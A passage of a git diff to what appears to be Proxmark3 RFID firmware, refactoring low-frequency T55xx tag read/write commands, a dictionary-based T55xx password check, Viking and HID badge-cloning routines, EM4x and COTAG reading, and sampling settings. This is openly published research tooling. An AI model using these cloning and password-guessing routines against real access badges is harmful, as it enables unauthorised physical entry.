bits at a time + for (uint8_t i = 0; i < len - 1; i += 2) { + sendbits = (bs[BITSTREAM_BYTE(i)] >> (BITSTREAM_BIT(i)) & 1) << 1; // Bit i + sendbits += (bs[BITSTREAM_BYTE(i + 1)] >> (BITSTREAM_BIT(i + 1)) & 1); // Bit i+1; + T55xxWriteBit(sendbits & 3, downlink_mode); + } + } else { + for (uint8_t i = 0; i < len; i++) { + sendbits = (bs[BITSTREAM_BYTE(i)] >> BITSTREAM_BIT(i)); + T55xxWriteBit(sendbits & 1, downlink_mode); + } + } +} + +// Send T5577 reset command then read stream (see if we can identify the start of the stream) +void T55xxResetRead(uint8_t flags) { + + uint8_t downlink_mode = ((flags >> 3) & 3); + uint8_t arg = 0x80 | downlink_mode; + + LED_A_ON(); + + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_keep_EM(); + + T55xx_SendCMD(0, 0, arg); + + TurnReadLFOn(T55xx_Timing.m[downlink_mode].read_gap); // Acquisition - DoPartialAcquisition(0, true, BigBuf_max_traceLen(), 0); + DoPartialAcquisition(0, false, BigBuf_max_traceLen(), 0); // Turn the field off - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - reply_mix(CMD_ACK, 0, 0, 0, 0, 0); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + reply_ng(CMD_LF_T55XX_RESET_READ, PM3_SUCCESS, NULL, 0); + LED_A_OFF(); +} + +void T55xxDangerousRawTest(uint8_t *data) { + // supports only default downlink mode + t55xx_test_block_t *c = (t55xx_test_block_t *)data; + + uint8_t start_wait = 4; + uint8_t bs[128 / 8]; + memset(bs, 0x00, sizeof(bs)); + uint8_t len = 0; + if (c->bitlen == 0 || c->bitlen > 128 || c->time == 0) + reply_ng(CMD_LF_T55XX_DANGERRAW, PM3_EINVARG, NULL, 0); + for (uint8_t i = 0; i < c->bitlen; i++) + len = T55xx_SetBits(bs, len, c->data[i], 1, sizeof(bs)); + + if (DBGLEVEL > 1) { + Dbprintf("LEN %i, TIMING %i", len, c->time); + for (uint8_t i = 0; i < len; i++) { + uint8_t sendbits = (bs[BITSTREAM_BYTE(i)] >> BITSTREAM_BIT(i)); + Dbprintf("%02i: %i", i, sendbits & 1); + } + } + + LED_A_ON(); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + // make sure tag is fully powered up... + WaitMS(start_wait); + // Trigger T55x7 in mode. + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + WaitUS(T55xx_Timing.m[0].start_gap); + uint8_t sendbits; + for (uint8_t i = 0; i < len; i++) { + sendbits = (bs[BITSTREAM_BYTE(i)] >> BITSTREAM_BIT(i)); + T55xxWriteBit(sendbits & 1, 0); + } + TurnReadLFOn(c->time); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + reply_ng(CMD_LF_T55XX_DANGERRAW, PM3_SUCCESS, NULL, 0); LED_A_OFF(); } // Write one card block in page 0, no lock -void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags) { +//void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags) { +void T55xxWriteBlock(uint8_t *data) { + + /* + flag bits + xxxxxxx1 0x01 PwdMode + xxxxxx1x 0x02 Page + xxxxx1xx 0x04 testMode + xxx11xxx 0x18 downlink mode + xx1xxxxx 0x20 !reg_readmode + x1xxxxxx 0x40 called for a read, so no data packet + 1xxxxxxx 0x80 reset + */ + + t55xx_write_block_t *c = (t55xx_write_block_t *)data; + // c->data, c->blockno, c->pwd, c->flags + + bool testMode = ((c->flags & 0x04) == 0x04); + + c->flags &= (0xff ^ 0x40); // Called for a write, so ensure it is clear/0 + LED_A_ON(); - bool pwd_mode = (flags & 0x1); - uint8_t page = (flags & 0x2) >> 1; - bool test_mode = (flags & 0x4) >> 2; - uint32_t i = 0; - - // Set up FPGA, 125kHz - LFSetupFPGAForADC(95, true); - - // make sure tag is fully powered up... - WaitMS(4); - - // Trigger T55x7 in mode. - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - WaitUS(t_config.start_gap); - - if (test_mode) { - Dbprintf("T55xx writing with %s", _YELLOW_("test mode enabled")); - // undocmented testmode opcode 01 - T55xxWriteBit(0); - T55xxWriteBit(1); - } else { - // std opcode 10 == page 0 - // std opcode 11 == page 1 - T55xxWriteBit(1); - T55xxWriteBit(page); - } - - if (pwd_mode) { - // Send pwd - for (i = 0x80000000; i != 0; i >>= 1) - T55xxWriteBit(pwd & i); - } - // Send lock bit - T55xxWriteBit(0); - - // Send data - for (i = 0x80000000; i != 0; i >>= 1) - T55xxWriteBit(data & i); - - // Send block number - for (i = 0x04; i != 0; i >>= 1) - T55xxWriteBit(blockno & i); + T55xx_SendCMD(c->data, c->pwd, c->flags | (c->blockno << 9)); // Perform write (nominal is 5.6 ms for T55x7 and 18ms for E5550, // so wait a little more) @@ -1446,7 +1851,7 @@ void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t fl // - programming takes ~5.6ms for t5577 ~18ms for E5550 or t5567 // so we should wait 1 clock + 5.6ms then read response? // but we need to know we are dealing with t5577 vs t5567 vs e5550 (or q5) marshmellow... - if (test_mode) { + if (testMode) { //TESTMODE TIMING TESTS: // <566us does nothing // 566-568 switches between wiping to 0s and doing nothing @@ -1456,7 +1861,6 @@ void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t fl } else { TurnReadLFOn(20 * 1000); - //could attempt to do a read to confirm write took // as the tag should repeat back the new block // until it is reset, but to confirm it we would @@ -1465,102 +1869,154 @@ void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t fl // response should be (for t55x7) a 0 bit then (ST if on) // block data written in on repeat until reset. - //DoPartialAcquisition(20, true, 12000); + //DoPartialAcquisition(20, false, 12000); } - // turn field off FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + reply_ng(CMD_LF_T55XX_WRITEBL, PM3_SUCCESS, NULL, 0); LED_A_OFF(); } -// Write one card block in page 0, no lock +/* // uses NG format void T55xxWriteBlock(uint8_t *data) { t55xx_write_block_t *c = (t55xx_write_block_t *)data; T55xxWriteBlockExt(c->data, c->blockno, c->pwd, c->flags); - reply_ng(CMD_T55XX_WRITE_BLOCK, PM3_SUCCESS, NULL, 0); + // reply_ng(CMD_LF_T55XX_WRITEBL, PM3_SUCCESS, NULL, 0); } - +*/ +/* // Read one card block in page [page] -void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd) { - LED_A_ON(); - bool regular_readmode = (block == 0xFF); - uint8_t start_wait = 4; +void T55xxReadBlockExt(uint16_t flags, uint8_t block, uint32_t pwd) { + / * + flag bits + xxxx xxxxxxx1 0x0001 PwdMode + xxxx xxxxxx1x 0x0002 Page + xxxx xxxxx1xx 0x0004 testMode + xxxx xxx11xxx 0x0018 downlink mode + xxxx xx1xxxxx 0x0020 !reg_readmode + xxxx x1xxxxxx 0x0040 called for a read, so no data packet + xxxx 1xxxxxxx 0x0080 reset + xxx1 xxxxxxxx 0x0100 brute / leave field on + * / size_t samples = 12000; - uint32_t i; +bool brute_mem = (flags & 0x0100) >> 8; - if (brute_mem) { - start_wait = 0; - samples = 1024; - } + LED_A_ON(); - //clear buffer now so it does not interfere with timing later - BigBuf_Clear_keep_EM(); + if (brute_mem) samples = 1024; + + // Set Read Flag to ensure SendCMD does not add "data" to the packet + flags |= 0x40; + + // RegRead Mode true block = 0xff, so read without an address + if (block == 0xff) flags |= 0x20; //make sure block is at max 7 block &= 0x7; - // Set up FPGA, 125kHz to power up the tag - LFSetupFPGAForADC(95, true); - // make sure tag is fully powered up... - WaitMS(start_wait); + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_keep_EM(); - // Trigger T55x7 Direct Access Mode with start gap - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - WaitUS(t_config.start_gap); - - // Opcode 1[page] - T55xxWriteBit(1); - T55xxWriteBit(page); //Page 0 - - if (pwd_mode) { - // Send Pwd - for (i = 0x80000000; i != 0; i >>= 1) - T55xxWriteBit(pwd & i); - } - // Send a zero bit separation - T55xxWriteBit(0); - - // Send Block number (if direct access mode) - if (!regular_readmode) - for (i = 0x04; i != 0; i >>= 1) - T55xxWriteBit(block & i); + T55xx_SendCMD(0, pwd, flags | (block << 9)); //, true); // Turn field on to read the response // 137*8 seems to get to the start of data pretty well... - // but we want to go past the start and let the repeating data settle in... - TurnReadLFOn(150 * 8); + // but we want to go past the start and let the repeating data settle in... + + // TurnReadLFOn(210*8); // issues with block 1 reads so dropping down seemed to help + TurnReadLFOn(137 * 8); // Acquisition // Now do the acquisition - DoPartialAcquisition(0, true, samples, 0); + DoPartialAcquisition(0, false, samples, 0); // Turn the field off if (!brute_mem) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - reply_ng(CMD_T55XX_READ_BLOCK, PM3_SUCCESS, NULL, 0); + reply_ng(CMD_LF_T55XX_READBL, PM3_SUCCESS, NULL, 0); LED_A_OFF(); } } +*/ +// Read one card block in page [page] +void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd, uint8_t downlink_mode) { + /* + flag bits + xxxx xxxxxxx1 0x0001 PwdMode + xxxx xxxxxx1x 0x0002 Page + xxxx xxxxx1xx 0x0004 testMode + xxxx xxx11xxx 0x0018 downlink mode + xxxx xx1xxxxx 0x0020 !reg_readmode + xxxx x1xxxxxx 0x0040 called for a read, so no data packet + xxxx 1xxxxxxx 0x0080 reset + xxx1 xxxxxxxx 0x0100 brute / leave field on + */ + uint16_t flags = 0x0040; // read packet + if (pwd_mode) flags |= 0x0001; + if (page) flags |= 0x0002; + flags |= (downlink_mode & 3) << 3; + if (brute_mem) flags |= 0x0100; -void T55xx_ChkPwds() { +// T55xxReadBlockExt (flags,block,pwd); + size_t samples = 12000; + // bool brute_mem = (flags & 0x0100) >> 8; + + LED_A_ON(); + + if (brute_mem) samples = 1024; + + //-- Set Read Flag to ensure SendCMD does not add "data" to the packet + //-- flags |= 0x40; + + // RegRead Mode true block = 0xff, so read without an address + if (block == 0xff) flags |= 0x20; + + //make sure block is at max 7 + block &= 0x7; + + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_keep_EM(); + + T55xx_SendCMD(0, pwd, flags | (block << 9)); //, true); + + // Turn field on to read the response + // 137*8 seems to get to the start of data pretty well... + // but we want to go past the start and let the repeating data settle in... + + // TurnReadLFOn(210*8); // issues with block 1 reads so dropping down seemed to help + TurnReadLFOn(137 * 8); + + // Acquisition + // Now do the acquisition + DoPartialAcquisition(0, false, samples, 0); + + // Turn the field off + if (!brute_mem) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + reply_ng(CMD_LF_T55XX_READBL, PM3_SUCCESS, NULL, 0); + LED_A_OFF(); + } + +} + +void T55xx_ChkPwds(uint8_t flags) { DbpString("[+] T55XX Check pwds using flashmemory starting"); uint8_t ret = 0; // First get baseline and setup LF mode. // tends to mess up BigBuf - uint8_t *buf = BigBuf_get_addr(); - - uint32_t b1, baseline = 0; + uint8_t *buf = BigBuf_get_addr(); + uint32_t b1, baseline = 0; + uint8_t downlink_mode = (flags >> 3) & 0x03; // collect baseline for failed attempt uint8_t x = 32; while (x--) { b1 = 0; - -// T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd) - T55xxReadBlock(0, 0, true, 1, 0); + T55xxReadBlock(0, 0, true, 1, 0, downlink_mode); for (uint16_t j = 0; j < 1024; ++j) b1 += buf[j]; @@ -1575,8 +2031,8 @@ void T55xx_ChkPwds() { uint8_t *pwds = BigBuf_get_EM_addr(); uint16_t pwdCount = 0; uint32_t candidate = 0; - #ifdef WITH_FLASH + BigBuf_Clear_EM(); uint16_t isok = 0; uint8_t counter[2] = {0x00, 0x00}; @@ -1605,7 +2061,7 @@ void T55xx_ChkPwds() { pwd = bytes_to_num(pwds + i * 4, 4); - T55xxReadBlock(0, true, true, 0, pwd); + T55xxReadBlock(0, true, true, 0, pwd, downlink_mode); // calc mean of BigBuf 1024 samples. uint32_t sum = 0; @@ -1622,8 +2078,6 @@ void T55xx_ChkPwds() { Dbprintf("[=] Pwd %08X | ABS %u", pwd, curr); if (curr > prev) { - - Dbprintf("[=] --> ABS %u Candidate %08X <--", curr, pwd); candidate = pwd; prev = curr; @@ -1639,36 +2093,32 @@ OUT: LEDsoff(); } -void T55xxWakeUp(uint32_t Pwd) { +void T55xxWakeUp(uint32_t pwd, uint8_t flags) { + + flags |= 0x01 | 0x40 | 0x20; //Password | Read Call (no data) | reg_read no block LED_B_ON(); - uint32_t i = 0; - // Set up FPGA, 125kHz - LFSetupFPGAForADC(95, true); - // make sure tag is fully powered up... - WaitMS(4); + T55xx_SendCMD(0, pwd, flags); - // Trigger T55x7 Direct Access Mode - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - WaitUS(t_config.start_gap); - - // Opcode 10 - T55xxWriteBit(1); - T55xxWriteBit(0); //Page 0 - - // Send Pwd - for (i = 0x80000000; i != 0; i >>= 1) - T55xxWriteBit(Pwd & i); - - // Turn and leave field on to let the begin repeating transmission + //-- Turn and leave field on to let the begin repeating transmission TurnReadLFOn(20 * 1000); + reply_ng(CMD_LF_T55XX_WAKEUP, PM3_SUCCESS, NULL, 0); } + /*-------------- Cloning routines -----------*/ void WriteT55xx(uint32_t *blockdata, uint8_t startblock, uint8_t numblocks) { - // write last block first and config block last (if included) - for (uint8_t i = numblocks + startblock; i > startblock; i--) - T55xxWriteBlockExt(blockdata[i - 1], i - 1, 0, 0); + + t55xx_write_block_t cmd; + cmd.pwd = 0; + cmd.flags = 0; + + for (uint8_t i = numblocks + startblock; i > startblock; i--) { + cmd.data = blockdata[i - 1]; + cmd.blockno = i - 1; + T55xxWriteBlock((uint8_t *)&cmd); + } + } // Copy HID id to card and setup block 0 config @@ -1716,54 +2166,20 @@ void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT) { LED_D_OFF(); } -void CopyIOtoT55x7(uint32_t hi, uint32_t lo) { - uint32_t data[] = {T55x7_BITRATE_RF_64 | T55x7_MODULATION_FSK2a | (2 << T55x7_MAXBLOCK_SHIFT), hi, lo}; - //TODO add selection of chip for Q5 or T55x7 - // data[0] = T5555_SET_BITRATE(64) | T5555_MODULATION_FSK2 | T5555_INVERT_OUTPUT | 2 << T5555_MAXBLOCK_SHIFT; - - LED_D_ON(); - // Program the data blocks for supplied ID - // and the block 0 config - WriteT55xx(data, 0, 3); - LED_D_OFF(); -} - -// Clone Indala 64-bit tag by UID to T55x7 -void CopyIndala64toT55x7(uint32_t hi, uint32_t lo) { - //Program the 2 data blocks for supplied 64bit UID - // and the Config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2) - uint32_t data[] = { T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT), hi, lo}; - //TODO add selection of chip for Q5 or T55x7 - // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK1 | 2 << T5555_MAXBLOCK_SHIFT; - LED_D_ON(); - WriteT55xx(data, 0, 3); - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=2;Inverse data) - // T5567WriteBlock(0x603E1042,0); - LED_D_OFF(); -} -// Clone Indala 224-bit tag by UID to T55x7 -void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7) { - //Program the 7 data blocks for supplied 224bit UID - uint32_t data[] = {0, uid1, uid2, uid3, uid4, uid5, uid6, uid7}; - // and the block 0 for Indala224 format - //Config for Indala (RF/32;PSK2 with RF/2;Maxblock=7) - data[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); - //TODO add selection of chip for Q5 or T55x7 - // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK2 | 7 << T5555_MAXBLOCK_SHIFT; - LED_D_ON(); - WriteT55xx(data, 0, 8); - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=7;Inverse data) - // T5567WriteBlock(0x603E10E2,0); - LED_D_OFF(); -} // clone viking tag to T55xx -void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5) { - uint32_t data[] = {T55x7_BITRATE_RF_32 | T55x7_MODULATION_MANCHESTER | (2 << T55x7_MAXBLOCK_SHIFT), block1, block2}; - if (Q5) data[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_MANCHESTER | 2 << T5555_MAXBLOCK_SHIFT; +void CopyVikingtoT55xx(uint8_t *blocks, uint8_t Q5) { + + uint32_t data[] = {T55x7_BITRATE_RF_32 | T55x7_MODULATION_MANCHESTER | (2 << T55x7_MAXBLOCK_SHIFT), 0, 0}; + if (Q5) + data[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_MANCHESTER | 2 << T5555_MAXBLOCK_SHIFT; + + data[1] = bytes_to_num(blocks, 4); + data[2] = bytes_to_num(blocks + 4, 4); + // Program the data blocks for supplied ID and the block 0 config WriteT55xx(data, 0, 3); LED_D_OFF(); - reply_mix(CMD_ACK, 0, 0, 0, 0, 0); + reply_ng(CMD_LF_VIKING_CLONE, PM3_SUCCESS, NULL, 0); } // Define 9bit header for EM410x tags @@ -1876,7 +2292,7 @@ uint8_t *fwd_write_ptr; //forwardlink bit pointer //==================================================================== //-------------------------------------------------------------------- // VALUES TAKEN FROM EM4x function: SendForward -// START_GAP = 440; (55*8) cycles at 125Khz (8us = 1cycle) +// START_GAP = 440; (55*8) cycles at 125kHz (8us = 1cycle) // WRITE_GAP = 128; (16*8) // WRITE_1 = 256 32*8; (32*8) @@ -1974,7 +2390,7 @@ void SendForward(uint8_t fwd_bit_count) { fwd_bit_sz = fwd_bit_count; // Set up FPGA, 125kHz or 95 divisor - LFSetupFPGAForADC(95, true); + LFSetupFPGAForADC(LF_DIVISOR_125, true); // force 1st mod pulse (start gap must be longer for 4305) fwd_bit_sz--; //prepare next bit modulation @@ -1983,13 +2399,13 @@ void SendForward(uint8_t fwd_bit_count) { TurnReadLF_off(EM_START_GAP); TurnReadLFOn(18 * 8); - // now start writting with bitbanging the antenna. + // now start writting with bitbanging the antenna. (each bit should be 32*8 total length) while (fwd_bit_sz-- > 0) { //prepare next bit modulation if (((*fwd_write_ptr++) & 1) == 1) { WaitUS(32 * 8); } else { TurnReadLF_off(23 * 8); - TurnReadLFOn(18 * 8); + TurnReadLFOn(32-23 * 8); } } } @@ -2031,10 +2447,10 @@ void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd) { WaitUS(400); - DoPartialAcquisition(20, true, 6000, 1000); + DoPartialAcquisition(20, false, 6000, 1000); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - reply_ng(CMD_EM4X_READ_WORD, PM3_SUCCESS, NULL, 0); + reply_ng(CMD_LF_EM4X_READWORD, PM3_SUCCESS, NULL, 0); LED_A_OFF(); } @@ -2064,39 +2480,58 @@ void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd) { //Wait 20ms for write to complete? WaitMS(7); - DoPartialAcquisition(20, true, 6000, 1000); + DoPartialAcquisition(20, false, 6000, 1000); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - reply_ng(CMD_EM4X_WRITE_WORD, PM3_SUCCESS, NULL, 0); + reply_ng(CMD_LF_EM4X_WRITEWORD, PM3_SUCCESS, NULL, 0); LED_A_OFF(); } /* -Reading a COTAG. +Reading COTAG. COTAG needs the reader to send a startsequence and the card has an extreme slow datarate. because of this, we can "sample" the data signal but we interpreate it to Manchester direct. -READER START SEQUENCE: -burst 800 us, gap 2.2 msecs -burst 3.6 msecs gap 2.2 msecs -burst 800 us gap 2.2 msecs -pulse 3.6 msecs +This behavior looks very similar to old ancient Motorola Flexpass + +----------------------------------------------------------------------- +According to patent EP0040544B1: +Operating freq + reader 132 kHz + tag 66 kHz + +Divide by 384 counter + +PULSE repetition 5.82ms +LOW 2.91 ms +HIGH 2.91 ms + +Also references to a half-bit format and leading zero. +----------------------------------------------------------------------- + +READER START SEQUENCE: + +burst 800 us gap 2.2 ms +burst 3.6 ms gap 2.2 ms +burst 800 us gap 2.2 ms +pulse 3.6 ms + +This triggers COTAG tag to response -This triggers a COTAG tag to response */ void Cotag(uint32_t arg0) { #ifndef OFF # define OFF(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitUS((x)); } #endif #ifndef ON -# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } +# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } #endif uint8_t rawsignal = arg0 & 0xF; LED_A_ON(); - LFSetupFPGAForADC(89, true); + LFSetupFPGAForADC(LF_FREQ2DIV(132), true); //clear buffer now so it does not interfere with timing later BigBuf_Clear_ext(false); @@ -2109,19 +2544,19 @@ void Cotag(uint32_t arg0) { switch (rawsignal) { case 0: - doCotagAcquisition(50000); + doCotagAcquisition(40000); break; case 1: doCotagAcquisitionManchester(); break; case 2: - DoAcquisition_config(true, 0); + DoAcquisition_config(false, 0); break; } // Turn the field off FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - reply_mix(CMD_ACK, 0, 0, 0, 0, 0); + reply_ng(CMD_LF_COTAG_READ, PM3_SUCCESS, NULL, 0); LEDsoff(); } diff --git a/armsrc/lfops.h b/armsrc/lfops.h new file mode 100644 index 000000000..b697cffd1 --- /dev/null +++ b/armsrc/lfops.h @@ -0,0 +1,69 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- +#ifndef __LFOPS_H +#define __LFOPS_H + +#include "common.h" + +#include "pm3_cmd.h" // struct + +extern uint8_t decimation; +extern uint8_t bits_per_sample ; +extern bool averaging; + +void AcquireRawAdcSamples125k(int divisor); +void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command); +void ReadTItag(void); +void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc); + +void AcquireTiType(void); +void AcquireRawBitsTI(void); +void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycles); +void SimulateTagLowFrequency(int period, int gap, bool ledcontrol); +void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen); + +void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles); +void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol); + +void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles); +void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol); +void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); +void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); +void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); + +void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); +void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26 +void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol); +void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); +void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567 +void CopyVikingtoT55xx(uint8_t *blocks, uint8_t Q5); +void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo); +void T55xxResetRead(uint8_t flags); +//id T55xxWriteBlock(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags); +void T55xxWriteBlock(uint8_t *data); +// void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags); +void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd, uint8_t downlink_mode); +void T55xxWakeUp(uint32_t pwd, uint8_t flags); +void T55xx_ChkPwds(uint8_t flags); +void T55xxDangerousRawTest(uint8_t *data); + +void TurnReadLFOn(uint32_t delay); + +void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd); +void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd); + +void Cotag(uint32_t arg0); +void setT55xxConfig(uint8_t arg0, t55xx_configurations_t *c); +t55xx_configurations_t *getT55xxConfig(void); +void printT55xxConfig(void); +void loadT55xxConfig(void); + +#endif diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index c5a075e7a..3769e3565 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -8,58 +8,83 @@ #include "lfsampling.h" +#include "proxmark3_arm.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "lfdemod.h" +#include "string.h" // memset + /* Default LF config is set to: decimation = 1 (we keep 1 out of 1 samples) bits_per_sample = 8 averaging = YES - divisor = 95 (125khz) + divisor = 95 (125kHz) trigger_threshold = 0 + samples_to_skip = 0 + verbose = YES */ -sample_config config = { 1, 8, 1, 95, 0 } ; +sample_config config = { 1, 8, 1, LF_DIVISOR_125, 0, 0, 1} ; void printConfig() { + uint32_t d = config.divisor; DbpString(_BLUE_("LF Sampling config")); - Dbprintf(" [q] divisor.............%d ( "_GREEN_("%d kHz")")", config.divisor, 12000 / (config.divisor + 1)); - Dbprintf(" [b] bps.................%d", config.bits_per_sample); + Dbprintf(" [q] divisor.............%d ( "_GREEN_("%d.%02d kHz")")", d, 12000 / (d + 1), ((1200000 + (d + 1) / 2) / (d + 1)) - ((12000 / (d + 1)) * 100)); + Dbprintf(" [b] bits per sample.....%d", config.bits_per_sample); Dbprintf(" [d] decimation..........%d", config.decimation); Dbprintf(" [a] averaging...........%s", (config.averaging) ? "Yes" : "No"); Dbprintf(" [t] trigger threshold...%d", config.trigger_threshold); + Dbprintf(" [s] samples to skip.....%d ", config.samples_to_skip); } /** * Called from the USB-handler to set the sampling configuration - * The sampling config is used for std reading and sniffing. + * The sampling config is used for standard reading and sniffing. * * Other functions may read samples and ignore the sampling config, * such as functions to read the UID from a prox tag or similar. * - * Values set to '0' implies no change (except for averaging) + * Values set to '-1' implies no change * @brief setSamplingConfig * @param sc */ void setSamplingConfig(sample_config *sc) { - if (sc->divisor != 0) config.divisor = sc->divisor; - if (sc->bits_per_sample != 0) config.bits_per_sample = sc->bits_per_sample; - if (sc->trigger_threshold != -1) config.trigger_threshold = sc->trigger_threshold; - config.decimation = (sc->decimation != 0) ? sc->decimation : 1; - config.averaging = sc->averaging; - if (config.bits_per_sample > 8) config.bits_per_sample = 8; + // decimation (1-8) how many bits of adc sample value to save + if (sc->decimation > 0 && sc->decimation < 8) + config.decimation = sc->decimation; - printConfig(); + // bits per sample (1-8) + if (sc->bits_per_sample > 0 && sc->bits_per_sample < 8) + config.bits_per_sample = sc->bits_per_sample; + + // + if (sc->averaging > -1) + config.averaging = (sc->averaging > 0) ? 1 : 0; + + // Frequency divisor (19 - 255) + if (sc->divisor > 18 && sc->divisor < 256) + config.divisor = sc->divisor; + + // Start saving samples when adc value larger than trigger_threshold + if (sc->trigger_threshold > -1) + config.trigger_threshold = sc->trigger_threshold; + + // Skip n adc samples before saving + if (sc->samples_to_skip > -1) + config.samples_to_skip = sc->samples_to_skip; + + if (sc->verbose) + printConfig(); } -sample_config *getSamplingConfig() { +sample_config *getSamplingConfig(void) { return &config; } -struct BitstreamOut { - uint8_t *buffer; - uint32_t numbits; - uint32_t position; -}; - /** * @brief Pushes bit onto the stream * @param stream @@ -68,11 +93,112 @@ struct BitstreamOut { void pushBit(BitstreamOut *stream, uint8_t bit) { int bytepos = stream->position >> 3; // divide by 8 int bitpos = stream->position & 7; + *(stream->buffer + bytepos) &= ~(1 << (7 - bitpos)); *(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos); stream->position++; stream->numbits++; } +// Holds bit packed struct of samples. +BitstreamOut data = {0, 0, 0}; + +// internal struct to keep track of samples gathered +sampling_t samples = {0, 0, 0, 0}; + +void initSampleBuffer(uint32_t *sample_size) { + initSampleBufferEx(sample_size, false); +} + +void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { + + BigBuf_free(); + + // We can't erase the buffer now, it would drastically delay the acquisition + + if (use_malloc) { + + if (sample_size == NULL || *sample_size == 0) { + *sample_size = BigBuf_max_traceLen(); + data.buffer = BigBuf_get_addr(); + } else { + *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); + data.buffer = BigBuf_malloc(*sample_size); + + } + + } else { + if (sample_size == NULL || *sample_size == 0) { + *sample_size = BigBuf_max_traceLen(); + } + data.buffer = 